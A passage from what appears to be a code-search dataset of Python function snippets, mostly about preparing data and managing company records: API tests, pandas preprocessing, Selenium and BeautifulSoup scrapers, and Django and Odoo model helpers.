job_name[job_no],\n \"build_number\": build_number[job_no],\n \"bugzilla\": bugzilla[job_no],\n }\n elif len(bugzilla) == 0 and (len(job_category) == len(job_name)):\n for job_no in range(len(job_category)):\n common_report[job_category[job_no]] = {\n \"job_name\": job_name[job_no],\n \"build_number\": build_number[job_no],\n \"bugzilla\": \"\",\n }\n else:\n for job_no in range(len(job_category)):\n try:\n common_report[job_category[job_no]] = {\"job_name\": job_name[job_no]}\n temp = job_no\n except IndexError:\n common_report[job_category[job_no]] = {\"job_name\": job_name[temp]}\n\n for job_no in range(len(job_category)):\n try:\n common_report[job_category[job_no]][\"build_number\"] = build_number[\n job_no\n ]\n temp = job_no\n except IndexError:\n common_report[job_category[job_no]][\"build_number\"] = build_number[\n temp\n ]\n\n for job_no in range(len(job_category)):\n try:\n common_report[job_category[job_no]][\"bugzilla\"] = bugzilla[job_no]\n temp = job_no\n except IndexError:\n common_report[job_category[job_no]][\"bugzilla\"] = bugzilla[temp]\n return common_report","def test_create_company_3(self):\n companies_data = [\n {\n \"_id\": \"sbucks\",\n \"headquarters\": \"Seattle\",\n \"name\": \"Starbucks Inc.\",\n },\n {\n \"_id\": \"salesforce\",\n \"headquarters\": \"Toronto\",\n \"name\": \"Salesforce Inc.\",\n },\n ]\n\n resp = self.app.post('/companies', data=json.dumps(companies_data),\n content_type='application/json')\n self.assertEqual(resp.status_code, HTTPStatus.CREATED)\n\n # cleanup\n for company in companies_data:\n del_resp = self.app.delete(f'/companies/{company[\"_id\"]}')\n self.assertEqual(del_resp.status_code, HTTPStatus.OK)","def _prepare_reconcile_model_vals(self, company, account_reconcile_model, acc_template_ref, tax_template_ref):\n self.ensure_one()\n records = super(AccountChartTemplate, self)._prepare_reconcile_model_vals(company, account_reconcile_model, acc_template_ref, tax_template_ref)\n records['product_id'] = account_reconcile_model.product_id\n records['second_product_id'] = account_reconcile_model.second_product_id\n return records","def prepare_data():\n df = pd.read_csv('Wholesale customers data.csv')\n df_numeric = df[['Fresh', 'Milk', 'Grocery', 'Frozen', 'Detergents_Paper', 'Delicassen']]\n return df, df_numeric","def _setData(self):\n data_list = []\n results = self.query.all()\n formatter = date.getLocaleFormatter(self.request, \"date\", \"long\")\n time_formatter = date.getLocaleFormatter(self.request, \"time\", \"short\")\n for result in results:\n data = {}\n data[\"subject\"] = result.short_name\n # this tab appears in the workspace pi/ view...\n data[\"url\"] = url.set_url_context(\"../calendar/sittings/obj-%i/schedule\" %\n result.sitting_id)\n # Note: same UI is also displayed at: \n # /business/sittings/obj-%i/schedule % result.sitting_id\n data[\"items\"] = \"\"\n data[\"status\"] = misc.get_wf_state(result)\n data[\"status_date\"] = formatter.format(result.status_date)\n data[\"owner\"] = \"\"\n data[\"type\"] = result.group.type\n data[\"group\"] = u\"%s %s\" % (\n result.group.type.capitalize(), result.group.short_name)\n data[\"time_from_to\"] = (\n time_formatter.format(result.start_date),\n time_formatter.format(result.end_date))\n data[\"date\"] = formatter.format(result.start_date) \n if result.venue:\n data[\"venue\"] = _(result.venue.short_name)\n else:\n date[\"venue\"] = \"\"\n if type(result)==domain.Question:\n data[\"to\"] = result.ministry.short_name\n else:\n data[\"to\"]= \"\"\n # past, present, future\n today = datetime.datetime.today().date()\n startday = result.start_date.date()\n if today==startday:\n data[\"css_class\"] = \"present\"\n elif today>startday:\n data[\"css_class\"] = \"past\"\n else:\n data[\"css_class\"] = \"future\"\n data_list.append(data)\n self._data = data_list","def preprocessing_data(df_entity_raw, df_names_raw):\n # Cleaning unused rows\n df_entity_filter = clean.df_cleaning(df_entity_raw)\n # Filter entity contracts: only contracts issued to a mun/dept.\n # Also gets list of names of mun/dept. with contracts with the entity\n df_entity, names_mun_list = clean.df_filter_entity(df_entity_filter)\n\n # Get list of departments and municipalities of Colombia\n df_names = clean.df_cleaning_names(df_names_raw)\n\n # First standardization: names of mun/dept. with contracts with the entity\n names_mun_list = [clean.strip_accents(item) for item in names_mun_list]\n names_mun_standard = []\n for item in names_mun_list:\n if 'MUNICIPIO' in item:\n names_mun_standard.append(clean.standarize_mun(item))\n else:\n names_mun_standard.append(clean.standarize_depto(item))\n\n # Second standardization: accent standardization without accents with official names\n names_mun_standard = clean.standardize_accents_mun(df_names, names_mun_standard)\n\n # Third standardization: format standardization to ensure a right joining\n names_mun_standard = clean.standardize_format_mun(df_names, names_mun_standard)\n\n # Assign new column to entity dataframe\n df_entity = df_entity.assign(nom_raz_soc_stand=names_mun_standard)\n names_mun_standard_list = list(set(names_mun_standard))\n\n return df_entity, names_mun_standard_list","def get_all_companies_and_people():","def test_create_company_props_using_post(self):\n pass","def scrape_data_company(self, elt, company):\n\n try:\n self.wait_job_loading(elt)\n self.remove_sign_up_prompt()\n self.remove_recommended_jobs()\n tabs_category = self.driver.find_element_by_class_name(\n \"scrollableTabs\")\n tabs_category = tabs_category.find_elements_by_class_name(\"tab\")\n self.get_data_from_tabs(company, tabs_category)\n\n except TimeoutError:\n logger.error(\"Timeout was reached and data was not loaded\")\n except StaleElementReferenceException as err:\n logger.error(\"Trying to click on a stale element \", err)","def prepare(self):","def __post_init__(self):\n # Only do this if source_data already exists (not during its own initialization)\n if \"SOURCE_DATA\" in globals():\n for data_field in fields(self):\n setattr(self, data_field.name, getattr(SOURCE_DATA, data_field.name))","def prepare_looped_datasets(self, alldict, allcombs):\n datasets_dict=dict()\n numcombs = len(allcombs)\n combct = 0\n while combct < numcombs:\n newdata = list(self.baseinput.data)\n loopedlines = dict()\n loopedlines = self.prepare_looped_lines(alldict, allcombs[combct])\n for lvalidx in loopedlines.keys():\n newdata[lvalidx] = loopedlines[lvalidx]\n datasets_dict[combct] = newdata\n combct = combct + 1\n return datasets_dict","def test_website_companies_update(self):\n pass","def read_companies():\n list_of_companies = data_manager.get_data_from_file(filename=\"company/company_data.csv\")\n return list_of_companies","def prepare(self):\n pass","def prepare(self):\n pass","def prepare(self):\n pass","def company(self):\n\n x = 0\n my_company = self.data[\"Company Name\"]\n my_account = self.data[\"Account\"]\n result = []\n for i in my_company:\n my_string = i + \" -- \" + my_account[x]\n x += 1\n result.append(my_string)\n\n return result","def company_data(driver):\n try:\n stats_selector = \"ul.company-growth-stats.stats-list li\"\n company_stats = driver.find_elements_by_css_selector(stats_selector)\n company_info = [stat.text for stat in company_stats]\n except Exception as e:\n print(\"error acquiring company info\")\n print(e)\n else:\n try:\n employees = list(filter(lambda text: 'employees' in text, company_info))\n num_employees = ''.join(list(filter(lambda c: c.isdigit(), employees[0])))\n except Exception as e:\n num_employees = \"\"\n pass\n try:\n tenure = list(filter(lambda text: 'tenure' in text, company_info))\n avg_tenure = ''.join(list(filter(lambda c: c in '0123456789.', tenure[0])))\n except Exception as e:\n avg_tenure = \"\"\n pass\n company_info = {\n \"avg_tenure\" : avg_tenure, \n \"num_employees\" : num_employees\n }\n return {\"avg_tenure\" : avg_tenure, \"num_employees\" : num_employees}","def fill(self):\n if self.source == 'citations':\n url = self._scholarly.URLS(\"CITATIONPUB\").format(self.id_citations)\n soup = self._scholarly._get_soup(\n self._scholarly.URLS('HOST').format(url))\n self.bib['title'] = soup.find('div', id='gsc_vcd_title').text\n\n if soup.find('a', class_='gsc_vcd_title_link'):\n self.bib['url'] = soup.find(\n 'a', class_='gsc_vcd_title_link')['href']\n\n for item in soup.find_all('div', class_='gs_scl'):\n key = item.find(class_='gsc_vcd_field').text\n val = item.find(class_='gsc_vcd_value')\n if key == 'Authors':\n self.bib['author'] = ' and '.join(self.get_authorlist(val))\n elif key == 'Journal':\n self.bib['journal'] = val.text\n elif key == 'Volume':\n self.bib['volume'] = val.text\n elif key == 'Issue':\n self.bib['number'] = val.text\n elif key == 'Pages':\n self.bib['pages'] = val.text\n elif key == 'Publisher':\n self.bib['publisher'] = val.text\n elif key == 'Publication date':\n self.bib['year'] = arrow.get(val.text).year\n elif key == 'Description':\n if val.text[0:8].lower() == 'abstract':\n val = val.text[9:].strip()\n self.bib['abstract'] = val\n elif key == 'Total citations':\n self.id_scholarcitedby = re.findall(\n self._scholarly.URLS('SCHOLARPUBRE'), val.a['href'])[0]\n\n # number of citation per year\n years = [int(y.text) for y in soup.find_all(class_='gsc_vcd_g_t')]\n cites = [int(c.text) for c in soup.find_all(class_='gsc_vcd_g_al')]\n self.cites_per_year = dict(zip(years, cites))\n\n if soup.find('div', class_='gsc_vcd_title_ggi'):\n self.bib['eprint'] = soup.find(\n 'div', class_='gsc_vcd_title_ggi').a['href']\n self._filled = True\n\n elif self.source == 'scholar':\n self.bib['add_to_lib'] = self.url_add_sclib\n\n try:\n bibtex = self._scholarly._get_soup(self.url_scholarbib)\n bibtex = bibtex.find('pre').string\n self.bib.update(bibtexparser.loads(bibtex).entries[0])\n self.bib['author_count'] = str(\n len(self.bib['author'].split('and')))\n self.bib['age'] = str(\n int(date.today().year) - int(self.bib['year']))\n except:\n # did not find year\n pass\n\n self._filled = True\n return self","def test_prep_new_data(self):\n pass","def setUp(self):\n self.admin = User.objects.get(username='admin')\n self.client = APIClient()\n self.client.force_authenticate(user=self.admin)\n self.data = {'name': 'testCompany', 'address': {\n 'address1': '123 fake st', 'address2': 'fake address 2',\n 'city': 'nowhere', 'state': 'IN', 'zip': '90210'}}\n self.url = reverse('Company-list')","def __init__(self):\n self.organization_id = ''\n self.name = ''\n self.is_default_org = None\n self.account_created_date = ''\n self.time_zone = ''\n self.language_code = ''\n self.date_format = ''\n self.field_separator = ''\n self.fiscal_year_start_month = ''\n self.contact_name = ''\n self.industry_type = ''\n self.industry_size = ''\n self.company_id_label = ''\n self.company_id_value = ''\n self.tax_id_label = ''\n self.tax_id_value = ''\n self.currency_id = ''\n self.currency_code = ''\n self.currency_symbol = ''\n self.currency_format = ''\n self.price_precision = 0\n self.address = Address()\n self.org_address = ''\n self.remit_to_address = ''\n self.phone = ''\n self.fax = ''\n self.website = ''\n self.email = ''\n self.tax_basis = ''\n self.is_org_active = None\n self.name = ''\n self.value = ''\n self.version = ''\n self.plan_type = 0\n self.plane_name = ''\n self.plan_period = ''\n self.tax_group_enabled = None\n self.account_created_date_formatted = \"\"\n self.zi_migration_status = 0\n self.user_role = ''\n self.custom_fields = []\n self.is_new_customer_custom_fields = None\n self.is_portal_enabled = None\n self.portal_name = ''\n self.tax_type = ''","def seperateDataCompany(data):\n assert isinstance(data, dict)\n dictionary = dict(data)\n tmp = dictionary.pop('University of California, San Diego - Jacobs School of Engineering')\n dictionary['University of California San Diego'] += tmp\n tmp = dictionary.pop('Amazon Web Services (AWS)')\n dictionary['Amazon'] += tmp\n \n keys = list(dictionary.keys())\n values = list(dictionary.values()) \n return (keys), (values)","def prepare_data(self, config: TreeConfigParser) -> None:\n self.data = Data(config)\n self.data.prepare_input()\n self.data.prepare_output()","def company_context(request):\n return {'COMPANY': settings.COMPANY}","def test_create_company_2(self):\n company_data = {\n \"_id\": \"sbucks\",\n \"headquarters\": \"Seattle\",\n \"name\": \"Starbucks Inc.\",\n }\n\n resp = self.app.post('/companies', data=json.dumps(company_data),\n content_type='application/json')\n self.assertEqual(resp.status_code, HTTPStatus.CREATED)\n\n resp = self.app.post('/companies', data=json.dumps(company_data),\n content_type='application/json')\n self.assertEqual(resp.status_code, HTTPStatus.CONFLICT)\n\n # cleanup\n del_resp = self.app.delete(f'/companies/{company_data[\"_id\"]}')\n self.assertEqual(del_resp.status_code, HTTPStatus.OK)","def prep_data(data: list):\n book = {\n 'title': data['title'],\n 'authors': [],\n 'categories': []\n }\n try:\n for author in data['authors']:\n author_obj, created = Author.objects.get_or_create(name=author)\n book['authors'].append(author_obj.id)\n except KeyError:\n pass\n try:\n for category in data['categories']:\n category_obj, created = Category.objects.get_or_create(name=category)\n book['categories'].append(category_obj.id)\n except KeyError:\n pass\n book['published_date'] = data.get('publishedDate', None)\n book['average_rating'] = data.get('averageRating', None)\n book['ratings_count'] = data.get('ratingsCount', None)\n try:\n book['thumbnail'] = data['imageLinks']['thumbnail']\n except KeyError:\n book['thumbnail'] = None\n return book","def test_create_company_1(self):\n company_data = {\n \"_id\": \"sbucks\",\n \"headquarters\": \"Seattle\",\n \"name\": \"Starbucks Inc.\",\n }\n\n resp = self.app.post('/companies', data=json.dumps(company_data),\n content_type='application/json')\n self.assertEqual(resp.status_code, HTTPStatus.CREATED)\n\n # cleanup\n del_resp = self.app.delete(f'/companies/{company_data[\"_id\"]}')\n self.assertEqual(del_resp.status_code, HTTPStatus.OK)","def cleaned_data(self):\n json_response = self.import_data(self.url, self.username, self.password)\n cleaned_supplier_data = self.parse_supplier_data(\n json_response.get('supplier_prices', [])) # Clean the supplier json obj\n cleaned_transaction_data = self.clean_transaction_data(\n json_response.get('transactions', [])) # Clean the transaction json obj\n self.export_cleaned_suppier(cleaned_supplier_data)\n self.export_cleaned_transactions(cleaned_transaction_data)\n return {'cleaned_supplier_data': cleaned_supplier_data,\n 'cleaned_transaction_data': cleaned_transaction_data} # cleaned data after simple manipulation","def prepare(self):\n self.parse_template()\n self.build_argparser()\n self.parse_arguments()\n self.render_template()\n self.update_relation()","def _prepare(self):\n # Time list\n self.time_list = []\n # Distance array\n if self._fxn[0] is True:\n self.res_dists, self.res_keys = build_reslist_dict(self._rpl)\n\n # Distance between alpha carbons\n if self._fxn[1] is True:\n self.ca_dists, self.ca_keys = build_reslist_dict(self._rpl)\n\n # Distance between resid center of mass\n if self._fxn[2] is True:\n self.cm_dists, self.cm_keys = build_reslist_dict(self._rpl)\n\n # Distance between resid center of geometry\n if self._fxn[3] is True:\n self.cg_dists, self.cg_keys = build_reslist_dict(self._rpl)","def _prepare(self):\n\n if os.path.isfile(\"DATA/diabetes/admission_type_id.csv\") == False:\n download_data()\n\n id_mapping = pd.read_csv(\"DATA/diabetes/admission_type_id.csv\", index_col = 0)\n data = pd.read_csv(\"DATA/diabetes/diabetic_data.csv\")\n\n # binarize admission type\n admdf = pd.DataFrame()\n for adtype, ad_id in zip(id_mapping.description, id_mapping.index):\n admdf[adtype] = (data.admission_type_id == ad_id)\n\n # binarize categorical text columns\n catdf = pd.DataFrame()\n dtype = data.race.dtype # grab datatype\n features = [\"race\", \"gender\", \"age\", \"diabetesMed\", \"insulin\", \"change\", \"readmitted\"]\n for feature in features:\n if data[feature].dtype == dtype:\n catdf = pd.concat([catdf, binarize(data[feature])], axis = 1)\n else:\n catdf = pd.concat([catdf, data[feature]], axis = 1)\n\n # choose non-binary columns\n nonbindf = data[[\"num_medications\", \"num_procedures\", \"num_lab_procedures\", \"number_outpatient\", \n \"number_emergency\", \"number_inpatient\", \"number_diagnoses\"]]\n\n self.data = pd.concat([catdf, admdf, nonbindf], axis = 1)","def prepare_data():\n user_name = os.environ.get('USER')\n traintest_corpus = ResumeCorpus('/Users/' + user_name + '/Documents/Data')\n random.shuffle(traintest_corpus.resumes)\n\n for resume in traintest_corpus.resumes:\n try:\n review_text = pre_processing(resume[0])\n review_text = \" \".join(review_text)\n data_dict['data'].append(review_text)\n data_dict['label'].append(resume[1])\n except:\n pass","def build_data_set(self):\n if not self.assert_data_correct():\n self.download_all_data()\n self.unpack_rename_data()\n self.split_data_characters()\n self.clean_data_fragments()\n self.create_font_data()\n if not self.assert_train_augmented():\n self.augment_train_data()\n if not self.assert_style_data_correct():\n self.download_style_data()\n self.unpack_rename_data()","def prepare_data(self):\n self.empty = 'yes' if len(self.data) == 0 else 'no'\n self._keys = sorted(key for key in self.data.keys())\n\n # Validate the keys\n for key in self._keys:\n if not is_valid_matlab_field_label(key):\n msg = \"'{}' is not a valid MATLAB field label\".format(key)\n raise ValueError(msg)\n self.field_names = \" \".join(self._keys)","def __attrs_post_init__(self):\n\n self.jobdate = parse(to_str(self.jobdate).strip())\n self.vehicleid = to_str(self.vehicleid).strip()\n self.reason = to_str(self.reason).strip()\n self.notes = to_str(self.notes).strip()\n self.costparts = Decimal(to_str(self.costparts).strip())\n self.costlabor = Decimal(to_str(self.costlabor).strip())\n self.costtotal = Decimal(to_str(self.costtotal).strip())\n\n # Apply additional data transformations\n self.yearmon = datetime.strftime(self.jobdate, '%Y-%m')","def test_companies_company_id_push_get(self):\n pass","def test_all_companies(self, setup_data):\n url = reverse('api-v3:search:basic')\n response = self.api_client.get(\n url,\n data={\n 'term': '',\n 'entity': 'company',\n },\n )\n\n assert response.status_code == status.HTTP_200_OK\n assert response.data['count'] > 0","def _populate(self):\n\n # Assume the first word is what we want, and we can find well formed years\n # This sucks, but will work for these ones.\n # Roll on bibtex for citations in the CIM.\n\n citation_detail = self.doc.citation_detail\n author = citation_detail.split(',')[0]\n match = '([^\\w])19|20\\d\\d([^\\w])*?'\n m = re.search(match, citation_detail)\n if m:\n year = m.group(0)\n else:\n year = None\n\n # one error in existing es-doc content to be fixed:\n if 'van Vuuren DP' in author:\n author = 'van Vuuren'\n print 'applying vv fix'\n\n self.year = int(year)\n\n # We assume that this table will have entries which ne\n\n # I use the first three letters of a an authors name, and for\n # three or more authors, EA, and then the year for my bibtex citation string\n self.citeguess = author[0:3] + 'EA' + year[2:]\n # This is what will appear in the table:\n self.citestring = '%s et al. (%s)' % (author, year)\n # Keep this for a reference list for checking against the eventual bibtex reference list.\n self.text = citation_detail","def company_addition_from_db2(output_data, domain):\n companyfc = CompanyFromdb2.objects.using('db2').filter(\n domain__iexact=domain\n )[0]\n\n if companyfc.founded:\n output_data['founded'] = companyfc.founded\n\n # maybe those 2 were already found in db1 but we want company name\n # and description from db2 as a priority\n # it's not the cleanest way since data are overwritten, but the easiest\n if companyfc.name:\n output_data['name'] = companyfc.name\n\n if companyfc.description:\n output_data['description'] = (\n companyfc.\n description.\n replace('\\n', ' ').\n replace('\\r', '')\n )\n\n try:\n output_data['formatted_address']\n except KeyError:\n if companyfc.address:\n # mapping french country names to english names\n # in case the french name is not found we put the english name\n # by default\n output_data['formatted_address'] = \"%s, %s\" % (\n companyfc.address,\n french_to_english_country_mapping_dict.get(\n companyfc.country,\n companyfc.country\n )\n )\n\n try:\n output_data['phone']\n except KeyError:\n if companyfc.telephone:\n output_data['phone'] = companyfc.telephone\n\n try:\n output_data['website_url']\n except KeyError:\n if companyfc.website:\n analyzed_url = urlparse(companyfc.website)\n if analyzed_url.netloc and analyzed_url.scheme:\n website_url = \"%s://%s\" % (\n analyzed_url.scheme,\n analyzed_url.netloc\n )\n elif analyzed_url.netloc and not analyzed_url.scheme:\n website_url = analyzed_url.netloc\n else:\n website_url = analyzed_url.path\n output_data['website_url'] = website_url\n\n try:\n output_data['size']\n except KeyError:\n if companyfc.size and company_size_mapping_dict.get(companyfc.size):\n output_data['size'] = company_size_mapping_dict.get(companyfc.size)\n\n try:\n output_data['last_updated']\n except KeyError:\n if companyfc.updated_on:\n output_data['last_updated'] = companyfc.updated_on\n\n # try to add linkedin profile from db2 (not present in db1).\n # Needs to use a JOIN\n try:\n companysocialprofilefc = CompanySocialProfileFromdb2.objects.using(\n 'db2'\n ).filter(\n company__domain=domain\n )[0]\n output_data['linkedin_url'] = companysocialprofilefc.url\n except IndexError:\n pass\n\n return output_data","def __init__(self, data_info, conditions):\n self.data_labels, self.film_count, self.plank_count = data_info\n self.tot_conditions, self.plated_volume = conditions\n\n self.film_conc, self.plank_conc = [], []\n self.organized_names, self.organized_film, self.organized_plank = [], [], []","def _prepare(self):","def _prepare(self):","def test_companies_company_id_data_journal_entries_get(self):\n pass","def prepare(self):\n if self.opts['verbose']:\n print(\"Preparing dataset (one-time operation)...\")\n # Create paths files and load them back in\n self._build_ID_sets()\n self._create_ID_files()\n self._load_ID_files()\n if self.opts['verbose']:\n print(\"... done with preparing the dataset.\")","def save_company_names(self,reload = False):\n #this is a security measure such that the companies can not be reloaded by fault.\n if not reload:\n return\n\n # Get the html of the Wikipedia site to extract the table\n website_url = requests.get(\"https://en.wikipedia.org/w/index.php?title=List_of_S%26P_500_companies&oldid=895655255\").text\n html_site = BeautifulSoup(website_url, 'lxml')\n\n # Extract the table\n SP_Table = html_site.find('table',{'class':'wikitable sortable'})\n \n # Extract the rows of the table\n rows = SP_Table.findAll('tr')\n \n # Extract for each row in rows the second value as this is the wanted symbol\n df = pd.DataFrame(columns=['Symbol', 'FullName', 'CSVName', 'Sector'])\n for row in rows[1:]:\n # Extract the company names\n companyFullName = row.findAll('td')[1].text\n # Extract the company csv names\n companyCSVName = companyFullName.replace('*', ' ')\n # Extract the company symbols\n companySymbol = row.findAll('td')[0].text\n companySymbol = ''.join(companySymbol.split())\n sector = row.findAll('td')[3].text\n df1 = pd.DataFrame([[companySymbol, companyFullName, companyCSVName, sector]], columns=df.columns)\n df = df.append(df1, ignore_index=True)\n \n df['Sector'] = df['Sector'].apply(lambda x: x.replace('\\n', ''))\n df.to_csv(self.PATH_TO_COMPANY_FILES + '/Companies.csv', index=False)\n\n return","def _prepare_data(\n self,\n request_data: Optional[Dict[str, Any]] = None,\n ) -> Dict[str, Any]:\n if request_data is None:\n request_data = {}\n request_data['page.rows'] = self._rows_in_page\n if self._current_row:\n request_data['page.number'] = \\\n self._current_row // self._rows_in_page + 1\n else:\n # Page number starts from 0\n page_number = self._min_row // self._rows_in_page\n # But for request page number starts from 1\n request_data['page.number'] = page_number + 1\n self._current_row = self._rows_in_page * page_number\n return request_data","def create(self, validated_data):\n admins = Group.objects.create(\n name=validated_data['name'] + ' Admins')\n accountants = Group.objects.create(\n name=validated_data['name'] + ' Accountants')\n validated_data['accountants'] = accountants\n validated_data['admins'] = admins\n company = super(CompanySerializer, self).create(validated_data)\n company.save()\n return company","def csvfileUsage(self):\n with open(self.csv_path, \"rb+\") as file_obj:\n reader = csv.DictReader(file_obj, delimiter=',') # CSV DictReader object\n \"\"\" reader.fieldnames returns header , slicing intial 'Month' and\n 'Year' header from list\n \"\"\"\n for com_names in reader.fieldnames[2:]:\n self.company_data[com_names] = {}\n # iterating each row\n for row in reader:\n month, year = self.parse_my(row) # parsing the year and month from row\n # pop the `Month` and `Year` Key to minimize iteration below\n row.pop('Month'), row.pop('Year')\n \"\"\" saving and updating the data at same point of time\n each iteration time, checking the max value and updating \n `Month` `Year` and `Value`\n \"\"\"\n self.prepare_company_data(month, year, row, self.company_data)\n file_obj.close() # close file\n return self.company_data","def load_data(data):\n\n # Agencies\n name = data['name']\n slug = Agency.slug_for(name)\n\n a, created = Agency.objects.get_or_create(slug=slug, name=name)\n\n a.abbreviation = data['abbreviation']\n a.description = data.get('description')\n a.keywords = data.get('keywords')\n a.common_requests = data.get('common_requests', [])\n a.no_records_about = data.get('no_records_about', [])\n\n # Only has a single, main branch/office\n if len(data['departments']) == 1:\n dept_rec = data['departments'][0]\n contactable_fields(a, dept_rec)\n\n a.save()\n add_request_time_statistics(data, a)\n\n # Offices\n if len(data['departments']) > 1:\n for dept_rec in data['departments']:\n if dept_rec.get('top_level'):\n # This is actually an agency\n sub_agency_name = dept_rec['name']\n sub_agency_slug = Agency.slug_for(sub_agency_name)\n\n sub_agency, created = Agency.objects.get_or_create(\n slug=sub_agency_slug, name=sub_agency_name)\n sub_agency.parent = a\n\n abbreviation = build_abbreviation(sub_agency_name)\n sub_agency.abbreviation = abbreviation\n sub_agency.description = dept_rec.get('description')\n sub_agency.keywords = dept_rec.get('keywords')\n sub_agency.common_requests = dept_rec.get(\n 'common_requests', [])\n sub_agency.no_records_about = dept_rec.get(\n 'no_records_about', [])\n contactable_fields(sub_agency, dept_rec)\n sub_agency.save()\n add_request_time_statistics(dept_rec, sub_agency)\n else:\n # Just an office\n office_name = dept_rec['name']\n office_slug = Office.slug_for(office_name)\n full_slug = slug + '--' + office_slug\n\n o, created = Office.objects.get_or_create(\n agency=a, slug=full_slug)\n\n o.office_slug = office_slug\n o.name = office_name\n contactable_fields(o, dept_rec)\n o.save()\n add_request_time_statistics(dept_rec, a, o)","def init_data(self):\n fields = SeriesRepository.get_available_series().exclude(identifier=None)\n\n if self.catalog:\n try:\n catalog = Catalog.objects.get(identifier=self.catalog)\n except Catalog.DoesNotExist:\n return\n\n fields = fields.filter(\n distribution__dataset__catalog=catalog\n )\n\n fields = fields.prefetch_related(\n 'distribution',\n 'distribution__dataset',\n 'distribution__dataset__catalog',\n 'enhanced_meta',\n )\n all_meta = Metadata.objects.all()\n field_ct = ContentType.objects.get_for_model(Field)\n for field in fields:\n meta = json.loads(field.metadata)\n dist_meta = json.loads(field.distribution.metadata)\n dataset_meta = json.loads(field.distribution.dataset.metadata)\n themes = field.distribution.dataset.themes\n theme_labels = get_theme_labels(json.loads(themes)) if themes else ''\n\n self.fields[field.identifier] = {\n 'dataset': field.distribution.dataset,\n 'distribution': field.distribution,\n 'serie': field,\n 'serie_titulo': field.title,\n 'serie_unidades': meta.get('units'),\n 'serie_descripcion': meta.get('description'),\n 'distribucion_titulo': dist_meta.get('title'),\n 'distribucion_descripcion': dist_meta.get('description'),\n 'distribucion_url_descarga': field.distribution.download_url,\n 'dataset_responsable': dataset_meta.get('publisher', {}).get('name'),\n 'dataset_fuente': dataset_meta.get('source'),\n 'dataset_titulo': field.distribution.dataset.title,\n 'dataset_descripcion': dataset_meta.get('description'),\n 'dataset_tema': theme_labels,\n 'metadata': {o.key: o.value for o in list(all_meta.filter(content_type=field_ct, object_id=field.id))},\n 'frequency': self.serie_periodicity(field),\n }","def prepare_train_data(self):\r\n ## Impute rlkpis\r\n print(\"Imputing rlKPI df\")\r\n self.rlkpi.add_target_labels(1)\r\n self.rlkpi.impute_rl_kpis()\r\n\r\n print(\"Add 'met-real-station_no' & met-forecast-station_no to rl_kpis_df\")\r\n self.add_met_real_forecast_station_col_to_rlkpis()\r\n print(\"Merge 'met-real-sampled df to rl kps \")\r\n self.merge_met_real_sampled_df_to_rlkpis()\r\n\r\n ## Imputations for met-forecast\r\n print(\"Impute met-forecast\")\r\n met_forecast_obj = self.metfcast\r\n met_forecast_obj.impute_met_forecast()\r\n\r\n #Merge met forecast data to earlier merged data\r\n print(\"Merge Train data with imputed forecast df\")\r\n self.train_data = pd.merge(self.train_data,\r\n met_forecast_obj.imputed_forecast_df,\r\n on=['datetime-station_no'], indicator=True, how='inner')\r\n print(\"Check any imputation needed\", self.train_data.isna().sum().sum())\r\n self.train_data.drop(['_merge'], axis=1, inplace=True)\r\n self.perform_data_under_sampling(self.train_data)"],"string":"[\n \"def __getCompaniesData(self, schema):\\n try:\\n self.cursor.execute(\\\"\\\"\\\"SELECT id, twitter, proven_score, slug FROM {schema}.vendors_vendor WHERE\\n twitter <> ''\\\"\\\"\\\".format(schema=schema))\\n data = self.cursor.fetchall()\\n\\n companies = []\\n for entry in data:\\n self.cursor.execute('SELECT location_id FROM {schema}.vendors_vendorlocation WHERE vendor_id = {vendor}'.format(schema=schema, vendor=entry[0]))\\n cities = self.cursor.fetchall()\\n\\n if cities is None:\\n continue\\n\\n city = ''\\n\\n for cityId in cities:\\n self.cursor.execute('SELECT city FROM {schema}.locations_location WHERE id = {city}'.format(schema=schema, city=cityId[0]))\\n cityName = self.cursor.fetchone()\\n\\n if cityName is not None:\\n city += cityName[0]\\n\\n self.cursor.execute('SELECT category_id, rank FROM {schema}.vendors_vendorcustomkind WHERE vendor_id = {vendor} AND \\\"primary\\\" is true'.format(schema=schema, vendor=entry[0]))\\n customKind = self.cursor.fetchone()\\n\\n if customKind is None:\\n catId = rank = None\\n else:\\n catId, rank = customKind\\n\\n if catId is not None:\\n self.cursor.execute('SELECT name, slug FROM {schema}.categories_category WHERE id = {cat}'.format(schema=schema, cat=catId))\\n catData = self.cursor.fetchone()\\n else:\\n catData = None\\n\\n companies.append(DBItemCompany(\\n _id = entry[0],\\n tweeter = entry[1],\\n category = catData[0] if catData is not None else None,\\n categoryUrl = self.__buildCategoryUrl(catId, schema) if catId is not None else None,\\n provenScore = entry[2],\\n ranking = rank,\\n location = city,\\n url = self.__buildProfileUrl(catData[1], entry[3], schema) if catData is not None else self.__buildProfileUrlWOCategory(entry[3], schema),\\n categoryId = catId\\n ))\\n\\n self.__companies[schema] = companies\\n\\n except psycopg2.DatabaseError as err:\\n raise DBException(err.args[0])\",\n \"def prepare_data(self):\",\n \"def __load_company_data(self):\\n\\n for ticker_type, ticker_list in self.tickers.items():\\n # yfinance only has sector, industry and country for stocks\\n if ticker_type == \\\"STOCK\\\":\\n for ticker in ticker_list:\\n # Only gets fields for tickers with missing data\\n # TODO: Should only get field missing for tickers with missing data\\n # now it's taking the 4 of them\\n if (\\n self.__transactions.loc[\\n self.__transactions[\\\"Ticker\\\"] == ticker,\\n [\\\"Sector\\\", \\\"Industry\\\", \\\"Country\\\", \\\"Region\\\"],\\n ]\\n .isnull()\\n .values.any()\\n ):\\n # Get ticker info in list [\\\"Sector\\\", \\\"Industry\\\", \\\"Country\\\", \\\"Region\\\"] from isin/ticker\\n info_list = get_info_from_ticker(ticker)\\n\\n # Replace fields in transactions\\n self.__transactions.loc[\\n self.__transactions.Ticker == ticker,\\n [\\\"Sector\\\", \\\"Industry\\\", \\\"Country\\\", \\\"Region\\\"],\\n ] = info_list\\n\\n elif ticker_type == \\\"CRYPTO\\\":\\n for ticker in ticker_list:\\n if (\\n self.__transactions.loc[\\n self.__transactions[\\\"Ticker\\\"] == ticker,\\n [\\\"Sector\\\", \\\"Industry\\\", \\\"Country\\\", \\\"Region\\\"],\\n ]\\n .isnull()\\n .values.any()\\n ):\\n # Get ticker info in list [\\\"Sector\\\", \\\"Industry\\\", \\\"Country\\\", \\\"Region\\\"]\\n info_list = [\\\"Crypto\\\", \\\"Crypto\\\", \\\"Crypto\\\", \\\"Crypto\\\"]\\n\\n # Replace fields in transactions\\n self.__transactions.loc[\\n self.__transactions.Ticker == ticker,\\n [\\\"Sector\\\", \\\"Industry\\\", \\\"Country\\\", \\\"Region\\\"],\\n ] = info_list\\n\\n else:\\n for ticker in ticker_list:\\n if (\\n self.__transactions.loc[\\n 